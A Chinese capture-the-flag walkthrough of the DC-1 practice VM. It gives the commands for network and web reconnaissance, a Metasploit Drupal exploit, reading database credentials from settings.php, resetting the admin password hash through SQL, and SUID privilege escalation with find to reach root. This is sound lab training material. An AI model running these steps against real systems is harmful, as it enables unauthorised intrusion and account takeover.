DC1通关记录
环境搭建
- 准备好VMware和kali虚拟机
- 下载dc1靶场
- 导入dc1靶场报错:直接重试即可
- kali和dc1靶场统一网络连接模式(桥接或NET)
信息收集
目标主机发现
arp-scan -l
扫描目标端口及服务
nmap -sV -p- -A 192.168.112.128
目标网站指纹识别
whatweb -v http://192.168.112.128
目标网站目录爆破
dirsearch -u 192.168.112.128
漏洞查找与利用
漏洞扫描
nikto -h 192.168.112.128 -o dc1.txt
漏洞查找
- 访问网站可用目录查看敏感信息
- 主站首页登录框
- 静态文件目录泄露
- 查找CMS相关漏洞
- 查找相关CMS是否存在漏洞,可能存在sql注入、远程命令执行等漏洞
漏洞利用
msf漏洞利用
- 搜索相关模块,使用相关模块
search drupal
use 1
- 对模块进行配置
show option
set rhosts 192.168.112.128
run
- 通过msf进行漏洞利用获取到目标机的shell
查找flag
flag1
- 获取shell后进行简单的信息收集
sysinfo
- 进入shell,使用python开启交互式终端
python -c “import pty;pty.spawn(‘/bin/bash’)”
- 查看当前目录下的文件,找到flag1
ls
cat flag1.txt
flag1提示CMS的配置文件
- 从网上搜索得知配置文件
flag2
- 通过查看配置文件内容得到mysql数据库的账号密码,找到flag2
cat ./sites/default/settings.php
- flag2提示字典攻击密码爆破无用,获取相关权限
- 通过shell连接mysql数据库
- 查看数据库内容
show databases;
use drupaldb
- 查看表内容
show tables;
- 查看表内容得到了管理员账号和加密密码
select * from users\G
加密方式大概是hash加密
- 退出数据库,查找加密脚本
quit
find . -name ‘*password*’
- 使用脚本加密密码
./scripts/password-hash.sh 123456
- 重新连接数据库更新admin的密码为使用脚本加密后的密码
mysql -udbuser -pR0ck3t
show databases;
use drupaldb
update users set pass='$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC'where name="admin";
flag3
- 使用更改后的admin的密码登录网站
- 登录网站检查功能点
- 发现flag3
- flag3提示
flag4
- 通过提示大概是需要提权
- 检查当前环境中是否还有其它flag文件
find / -name ‘*flag*’
- flag4位置
thefinalflag
- 尝试suid提权
find / -perm -u=s -type f 2>/dev/null
- 通过提权网站查找能够使用suid提权的文件
- 尝试提权后不成功
sudo install -m =xs $(which find)
./find . -exec /bin/sh -p ; -quit
sudo -l
find . -exec /bin/bash ;
- 尝试切换到flag4的目录下进行提权操作
cd /home/flag4
find / -perm -u=s -type f 2>/dev/null
find / -exec “/bin/bash” -p ;
whoami
- 最后的flag
cd /root
ls
cat thefinalflag.txt
总结
- 使用msf直接对CMS的漏洞进行攻击
- 数据库密码加密的脚本可能存储在系统文件中(一般不会存储在系统中)
- MySQL数据库更改密码语句
update users set pass='加密后密码内容' where name="admin";
- find的suid提权方法
find / -exec "/bin/bash" -p \;